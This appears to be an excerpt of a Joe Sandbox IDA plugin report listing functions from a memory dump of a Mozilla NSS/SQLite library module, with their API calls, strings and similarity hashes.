Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: e927cc7e9563657ab3de27283f8c63d8c359c4a004d72c23b4c8fda282c34ee5
Instruction ID: bf8589f58a2dbf499524ce4e845a87f3cd7548d4c580b86270a33c4efe3fc7f0
Opcode Fuzzy Hash: e927cc7e9563657ab3de27283f8c63d8c359c4a004d72c23b4c8fda282c34ee5
Instruction Fuzzy Hash: A601D666B0A01057E701512CAC86AEB39B88B8F65CB090133F90AC7B43F615D90652AE

Function 6C7DBDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C7D7AFE,?,?,?,?,?,?,?,?,6C7D798A), ref: 6C7DBDC3
free.MOZGLUE(?,?,6C7D7AFE,?,?,?,?,?,?,?,?,6C7D798A), ref: 6C7DBDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C7D7AFE,?,?,?,?,?,?,?,?,6C7D798A), ref: 6C7DBDE9
free.MOZGLUE(?,00000000,00000000,?,6C7D7AFE,?,?,?,?,?,?,?,?,6C7D798A), ref: 6C7DBE21
free.MOZGLUE(00000000,00000000,?,6C7D7AFE,?,?,?,?,?,?,?,?,6C7D798A), ref: 6C7DBE32

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 32befa1d2049701fe0793e5481ee05530d7ac146c2c2cb85dcf20c862e036260
Instruction ID: 6ad4f6a9f71f3cdd6bc603390f00eb1fa4a749d0a5652c5a16e5e24ec8595a29
Opcode Fuzzy Hash: 32befa1d2049701fe0793e5481ee05530d7ac146c2c2cb85dcf20c862e036260
Instruction Fuzzy Hash: 131116B1B112019FDB20DF29C80EA02BBF4BB4A66CB458079D60A87700D73DA414CBD5

Function 6C7D7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C7D7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7D7C83
malloc.MOZGLUE(00000001), ref: 6C7D7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C7D7C9F
PR_GetCurrentThread.NSS3 ref: 6C7D7CAD

Part of subcall function 6C789BF0: TlsGetValue.KERNEL32(?,?,?,6C7D0A75), ref: 6C789C07

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: eb2837450ca011080ee437191bce9cfe675195009b63f7c1a15bff01c0e0aaf7
Instruction ID: d36e70f9b10fef033bc14d5660ac48269c4772951eb8081bd47c4c3af9e9e2ae
Opcode Fuzzy Hash: eb2837450ca011080ee437191bce9cfe675195009b63f7c1a15bff01c0e0aaf7
Instruction Fuzzy Hash: A8F0A9F19102066FEB009F3AAE0D9477B9CEF00269B028436E80DC3B00EB30F114CAE5

Function 6C7DADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C7DA6D8), ref: 6C7DAE0D
free.MOZGLUE(?), ref: 6C7DAE14
DeleteCriticalSection.KERNEL32(6C7DA6D8), ref: 6C7DAE36
free.MOZGLUE(?), ref: 6C7DAE3D
free.MOZGLUE(00000000,00000000,?,?,6C7DA6D8), ref: 6C7DAE47

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 5db0932009d67f6a7363943f2123dd7579c42b7fba3dfda77d36098944b4aa44
Instruction ID: b0735b6ef2fc49fab88ddeeaf2ee565138605d54731400662f8531ed214343df
Opcode Fuzzy Hash: 5db0932009d67f6a7363943f2123dd7579c42b7fba3dfda77d36098944b4aa44
Instruction Fuzzy Hash: 64F0C2B5201A03A7CA219F68A80A91777FCBE86678B100338E12A83D41D731F111C7D1

Function 6C65BCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C7FAAF9,?), ref: 6C65BE37

Strings

winFileSize, xrefs: 6C65BF07
P}l, xrefs: 6C65BED4
}l, xrefs: 6C65BDD7

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: }l$P}l$winFileSize
API String ID: 4246442610-2902618064
Opcode ID: 3ed5153055bf528cd680522fcb582e4738ab4d940f34a7b26f330d477819c200
Instruction ID: 5329fff5e31a6825ce03b2175fbadff5a3f9c0565265d36e326c343431456b90
Opcode Fuzzy Hash: 3ed5153055bf528cd680522fcb582e4738ab4d940f34a7b26f330d477819c200
Instruction Fuzzy Hash: 7361BF31B00606DFDB04CF28C494AA9B7F1FF8A354BA84665D8158BF40D730E966CBD9

Function 6C667C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C667D35

Strings

database corruption, xrefs: 6C667D29
%s at line %d of [%.10s], xrefs: 6C667D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C667D13, 6C667D1F, 6C667D47, 6C667D53, 6C667D5F

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 2a727552b70bee42ee7bf7cd0063a9762764512e153fb1100cf6ecc442564355
Instruction ID: f104bd3792cadb3ac3249d86bf3f3fc017d045628929f3fa7d051f7eafdbcec9
Opcode Fuzzy Hash: 2a727552b70bee42ee7bf7cd0063a9762764512e153fb1100cf6ecc442564355
Instruction Fuzzy Hash: 4D313532E042299BC710CF9EC8809BEB7F1EF48709F590996E554B7B81D270D841CBA9

Function 6C656C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C656D36

Strings

database corruption, xrefs: 6C656D2A
%s at line %d of [%.10s], xrefs: 6C656D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C656D20

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 3ce58d2d45456aa485b983456ae537e90b41b0e95b6c822735360a73dbf510df
Instruction ID: cb7299bd1522449e137641f01403bdc05475de6929280b5803a969ea181de9e9
Opcode Fuzzy Hash: 3ce58d2d45456aa485b983456ae537e90b41b0e95b6c822735360a73dbf510df
Instruction Fuzzy Hash: 8D2103316043059BC720CF19C841B9AB7F2AF85318F648A2CD8499BF51E7B1F959C7AA

Function 6C78CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C78CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C78CC7B), ref: 6C78CD7A
Part of subcall function 6C78CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C78CD8E
Part of subcall function 6C78CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C78CDA5
Part of subcall function 6C78CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C78CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C78CCB5
memcpy.VCRUNTIME140(6C8214F4,6C8202AC,00000090), ref: 6C78CCD3
memcpy.VCRUNTIME140(6C821588,6C8202AC,00000090), ref: 6C78CD2B

Part of subcall function 6C6A9AC0: socket.WSOCK32(?,00000017,6C6A99BE), ref: 6C6A9AE6
Part of subcall function 6C6A9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6A99BE), ref: 6C6A9AFC

Part of subcall function 6C6B0590: closesocket.WSOCK32(6C6A9A8F,?,?,6C6A9A8F,00000000), ref: 6C6B0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C78CCB0

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: f4c3bd8eea6ec07db483ffa36be8ceb518f8646ab14ed4927aa509ca248d3ce5
Instruction ID: 2a2a6e19a8f370e18c9c9feb0373623bb38c3ff3681419c129ac33fb17dcd2e7
Opcode Fuzzy Hash: f4c3bd8eea6ec07db483ffa36be8ceb518f8646ab14ed4927aa509ca248d3ce5
Instruction Fuzzy Hash: 6B11A2F1B002405EDB609F699B0F7423AB8A34631CF25557AE5068BB41E73BEC44C7D5

Function 6C731D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C731D8F

Part of subcall function 6C7214C0: TlsGetValue.KERNEL32 ref: 6C7214E0
Part of subcall function 6C7214C0: EnterCriticalSection.KERNEL32 ref: 6C7214F5
Part of subcall function 6C7214C0: PR_Unlock.NSS3 ref: 6C72150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C731DA6

Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C7210F3
Part of subcall function 6C7210C0: EnterCriticalSection.KERNEL32(?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72110C
Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721141
Part of subcall function 6C7210C0: PR_Unlock.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721182
Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C731E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C731ED0

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: c9ad62a71bbaf41661647e587733d4d4e9cd134658078013d62b4d995f18f1f1
Instruction ID: ffb5ea7ac550d79b74bbc8063e6e24d9ae2d276ec1602d5b4d6ad77394bf0568
Opcode Fuzzy Hash: c9ad62a71bbaf41661647e587733d4d4e9cd134658078013d62b4d995f18f1f1
Instruction Fuzzy Hash: D6517B71A40319CFDB10CF94C988BAEB7B9BF45309F145129D81D9B792D732E945CB90

Function 6C797DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C797E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C797EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C797EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C797ED8

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: f43f7c9e494928270c423176a54466b5452b0d05b507f9c8cce57e032a5a1ac2
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 4D31C0B2A002158FDB04CF08DD9489ABBB6BFC8318B1B8179C8095B712EB71EC45CBD1

Function 6C6C6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6C6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6C6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C6C6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C7E8FE0), ref: 6C6C6CFE

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 6a82f8101d15dadb5870984b1d97fd92c75fb590448c4cc5b895b862b045c392
Instruction ID: b3da99535ef3dcd88ebddb8044cb372a0c12ef5568fe0ba2d447908c533facc9
Opcode Fuzzy Hash: 6a82f8101d15dadb5870984b1d97fd92c75fb590448c4cc5b895b862b045c392
Instruction Fuzzy Hash: 78317CB1A002169FEB08CF65C895ABFBBF5EB89348B10443DD905E7700EB31E905CBA5

Function 6C71DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C71DDB1,?,00000000), ref: 6C71DDF4

Part of subcall function 6C7214C0: TlsGetValue.KERNEL32 ref: 6C7214E0
Part of subcall function 6C7214C0: EnterCriticalSection.KERNEL32 ref: 6C7214F5
Part of subcall function 6C7214C0: PR_Unlock.NSS3 ref: 6C72150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C71DDB1,?,00000000), ref: 6C71DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C71DDB1,?,00000000), ref: 6C71DE17

Part of subcall function 6C720BE0: malloc.MOZGLUE(6C718D2D,?,00000000,?), ref: 6C720BF8
Part of subcall function 6C720BE0: TlsGetValue.KERNEL32(6C718D2D,?,00000000,?), ref: 6C720C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C71DE80

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: cb9764415eab757dca945916648592100877c78f2a4cd618d417cd1770963422
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 3E31C4B19057429BE711CF16C984652F7A8BFB5318B28822ED81C87F01E771F5A8CF90

Function 6C70FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C6E5ADC,?,00000000,00000001,?,?,00000000,?,6C6DBA55,?,?), ref: 6C70FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C70FE5F
PR_Unlock.NSS3(78831D74), ref: 6C70FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C70FED6

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 73648644036fbc5e6d88d1d30753bfd321e52279c5689596cb9bed61f192147d
Instruction ID: e17843cdcd7c8abb86d1abd7cc83888101ca38f673f8b78cb788f479605fdf01
Opcode Fuzzy Hash: 73648644036fbc5e6d88d1d30753bfd321e52279c5689596cb9bed61f192147d
Instruction Fuzzy Hash: 7121F0B1B00616ABDB10AE25DA48B9AB7F8BF0535CF180134DD04A7E42E731E964CBD9

Function 6C732DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C732E08

Part of subcall function 6C7214C0: TlsGetValue.KERNEL32 ref: 6C7214E0
Part of subcall function 6C7214C0: EnterCriticalSection.KERNEL32 ref: 6C7214F5
Part of subcall function 6C7214C0: PR_Unlock.NSS3 ref: 6C72150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C732E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C732E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C732E95

Part of subcall function 6C721200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6C88A4,00000000,00000000), ref: 6C721228
Part of subcall function 6C721200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C721238
Part of subcall function 6C721200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6C88A4,00000000,00000000), ref: 6C72124B
Part of subcall function 6C721200: PR_CallOnce.NSS3(6C822AA4,6C7212D0,00000000,00000000,00000000,?,6C6C88A4,00000000,00000000), ref: 6C72125D
Part of subcall function 6C721200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C72126F
Part of subcall function 6C721200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C721280
Part of subcall function 6C721200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C72128E
Part of subcall function 6C721200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C72129A
Part of subcall function 6C721200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7212A1

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 57fae8ce7ef1fcc52d1c1e8b22827659f5c569480fd4900cf3e3569a6726e016
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 7921F571E403514BE700CF549E4DBAA3768AFA170CF111279DD0C5B683F7B6E58482D1

Function 6C6EACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C6EACC2

Part of subcall function 6C6C2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C6C2F0A
Part of subcall function 6C6C2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C6C2F1D

